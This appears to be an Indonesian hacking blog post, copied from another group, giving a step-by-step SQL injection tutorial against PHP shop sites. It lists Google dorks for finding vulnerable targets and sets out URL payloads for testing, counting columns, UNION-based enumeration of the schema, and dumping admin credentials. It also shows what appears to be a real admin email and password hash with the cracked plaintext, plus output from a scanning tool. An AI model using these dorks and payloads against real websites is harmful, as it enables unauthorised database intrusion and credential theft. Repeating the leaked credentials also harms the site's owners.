Dasar SQL Injection

A) PendahuluanSQL Injection di PHP tentu berbeda.
Yang harus diketahui sebelum sql injection pada php adalah di depan sama dengan (=) ditambahkan tanda minus (id=-).
Itu artinya sama dengan 1=2 agar id tersebut bernilai error.
Dan di belakang menggunakan tanda /* sama artinya dengan tanda --,# yang menandakan akhir perintah.

Sekarang saya akan memberikan 1 contoh website.
Tapi sebelum melangkah lebih jauh, ada baiknya kita juga mempelajari cara mencari targetnya.
Untuk itu kita lebih dahulu harus mengerti dari special syntax yang ada pada Google.



Contoh :
inurl:"shredder-categories.php?id="
inurl:"tradeCategory.php?id="
inurl:"product_ranges_view.php?ID="
inurl:"shop_category.php?id="
inurl:"product_list.php?id="
inurl:"category_list.php?id="
allinurl:.uk/product.php?id=
allinurl:.uk/products.php?id=
allinurl:.uk/product.php?cat=
allinurl:.uk/product.php?catid=
allinurl:.uk/products.php?catid=
allinurl:.uk/products.php?cat=


B) Bagaimana kita dapat mengetahui website tersebut mengandung vuln SQL Injection?
Kita dapat menggunakan petik tunggal (') atau menggunakan operator (and 1=2) untuk mendapatkan error yang mengindikasikan respon dari mysql server.
Saya memberikan contoh hasil pencarian melalui search engine google untuk dork : "product_list.php?id="

Contoh website :
http://www.target.com

Kemudian kita harus mencari vulneralbility pada website tersebut yang memuat dork "product_list.php?id="
Dan kita menemukannya pada link url : http://www.target.com/product_list.php?id=1

Cara mengecek bug pada ini web adalah :
1. Tambahkan tanda +and+1=0 (bernilai false)


http://www.target.com/product_list.php?id=1+and+1=0 -------> (artikel web akan menghilang)

2. Tambahkan and 1=1 (bernilai true)
http://www.target.com/product_list.php?id=1+and+1=1 -------> (artikel web tampil kembali)

3. Atau dapat juga dengan cara menambahkan tanda petik tunggal (')
http://www.target.com/product_list.php?id=1' ----------> (You have an error in your SQL syntax....)

Dari percobaan-percobaan tersebut di atas, sudah dapat dipastikan bahwa web tersebut mempunyai celah (vulner) untuk ditembus dengan sql.
Kemudian kita akan mencari magic number pada web tersebut agar kita dapat memasukan query sql-nya.


C) Memeriksa Kolom

Dalam tahap ini kita memeriksa jumlah kolom sampai dimana kondisi tersebut adalah false.
Cara melakukan pengecekan dimulai dari 1 s/d kondisi halaman mendapatkan kondisi false.

Kita akan menggunakan syntax : order+by+1..dst -- (berfungsi untuk mencari finished number).

Akhirnya kondisi false diketahui pada kolom 13 :

http://www.target.com/product_list.php?id=1+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13--

(Unknown column '13' in 'order clause', Sorry, no products in this category)

Maka dapat disimpulkan bahwa kolom yang tersedia pada website tersebut adalah 12 kolom.


D) Mencari Lubang Kolom (Magic Number)
Dalam mencari magic number ini tidaklah sulit, jika kita sudah memeriksa dan menentukan jumlah kolom yang tersedia.
Dalam tahap ini kita menggunakan syntax : 'union+select'
Dan sudah kita periksa bahwa jumlah kolom yang tersedia adalah 12.
Nantinya segala informasi database akan dikeluarkan melalui magic number tersebut, yaitu 12.
Kita dapat menggunakan tanda Minus pada akhir tanda sama dengan =-
Dan menambahkan tanda -- sebagai tanda akhir perintah di belakang Url target.

http://www.target.com/product_list.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12--

Pada langkah di atas tampaklah bahwa angka 4 inilah yang disebut magic number.
Dari langkah tersebut, terlihat hanya angka 4 yang dapat kita gunakan.


E) Melihat Informasi Versi MySQL
Mengapa informasi versi MySQL perlu kita ketahui?
Karena setiap metode hack pada MySQL versi 4 dan versi 5 sangat berbeda.
Dalam tahap ini saya menggunakan version(). Letakkan version() pada magic number pada langkah sebelumya.

http://www.target.com/product_list.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9,10,11,12--

Maka terlihat bahwa versi MySQl adalah versi 5.0.45
Untuk MySQL versi 5, maka kita dapat lanjutkan ke pemeriksaan tabel dan kolom.
Tapi untuk versi 4, maka kita harus mencari dan menebak database, nama tabel dan kolom yang ditempatkan tidak beraturan.


F) Memeriksa Tabel
Untuk memeriksa tabel, kita menggunakan 3 perintah dalam kasus ini.
Syntax : 'union+select' ; 'group_concat(table_name)' ; 'from+information_schema.tables+where+table_schema=database()--'
Artinya : kita akan mengeluarkan keseluruhan tabel menggunakan information schema dimana table yang di-schema adalah dari fungsi query database().
Dapat diartikan bahwa database() adalah perintah yang digunakan untuk melihat nama database.

Langkah untuk melihat tabel :
http://www.target.com/product_list.php?id=-1+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12+

from+information_schema.tables--

Langkah untuk mencari tabel (limit):
http://www.target.com/product_list.php?id=-1+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12+

from+information_schema.tables+limit+18,1--

Langkah cepat untuk melihat tabel :
http://www.target.com/product_list.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,

7,8,9,10,11,12+from+information_schema.columns+where+table_schema=

database()--


G) Melihat Isi Kolom Dari Tabel
Pada tahap ini kita dapat mengetahui kolom-kolom pada tabel yang bersangkutan.

Untuk mengeluarkan column name, syntax-nya sama dengan mengeluarkan table name, hanya saja "table" kita ganti dengan "column".
Syntax : 'union+select' ; 'group_concat(column_name)' ; 'from+information_schema.columns+where+table_name=nama_table_target--
Artinya : kita akan mengeluarkan keseluruhan column menggunakan information schema dimana table name-nya = table yang jadi tujuan
Contoh : saya ingin mengeluarkan column yang ada pada table "admin" yang tampil pada website target.

http://www.target.com/product_list.php?id=-1+union+select+1,2,3,group_concat(column_name),5,

6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=

0x61646D696E--

Keterangan :
0x61646D696E = adalah Hexa string dari Ascii textnya "admin".
Anda dapat melakukan convert text ke Ascii di : http://ascii-convert.tk/


H) Melihat Data Dari Kolom Tersebut
Sekarang kita ingin melihat isi dari column name tersebut
.

Ini adalah Langkah terahkir. Peranan perintah 'group_concat' sangatlah membantu dalam hal mempersingkat waktu.

Contoh : saya hanya akan mengeluarkan data 'admin_email_address' dan 'admin_password'
dari kolom admin


http://www.target.com/product_list.php?id=-1+union+select+1,2,3,group_concat(admin_email_address,

0x3,admin_password),5,6,7,8,9,10,11,12+from+admin--

Dan sekarang dapat kita lihat hasilnya dari kolom admin tersebut :
Email : develop@conceptwebsites.com

Password : 0e311e5b9704f28b4e8557e8fa3fbe7d

Tinggal decrypt deh passwordnya sendiri (cari sendiri tool dan link-nya ya...)
Dan ternyata setelah saya decrypt password di atas, hasilnya adalah "qwerty12".


Coba sekarang kita bandingkan dengan hasil scan melalui phyton :

[+] URL:http://www.target.com/product_list.php?id=1+AND+1=2+UNION+SELECT+darkc0de,1,2,3,4,5--
[+] Gathering MySQL Server Configuration...
Database: amvale
User: amvale@localhost
Version: 5.0.45
[+] Dumping data from database "amvale" Table "admin"
[+] Column(s) ['admin_email_address', 'admin_password']
[+] Number of Rows: 2

[0] develop@conceptwebsites.com:0e311e5b9704f28b4e8557e8fa3fbe7d:

NoDataInColumn:

copy from : Jatimcrew

0 komentar:

Posting Komentar

 
Copyright © XAXNERX Blogger Theme by BloggerThemes & newwpthemes
. . . : : : WE LOVE INDONESIA Ini dadaku, mana dadamu Kalau Malaysia mau konfrontasi ekonomi Kita hadapi dengan konfrontasi ekonomi Kalau Malaysia mau konfrontasi politik Kita hadapi dengan konfrontasi politik Kalau Malaysia mau konfrontasi militer Kita hadapi dengan konfrontasi militer : : : . . .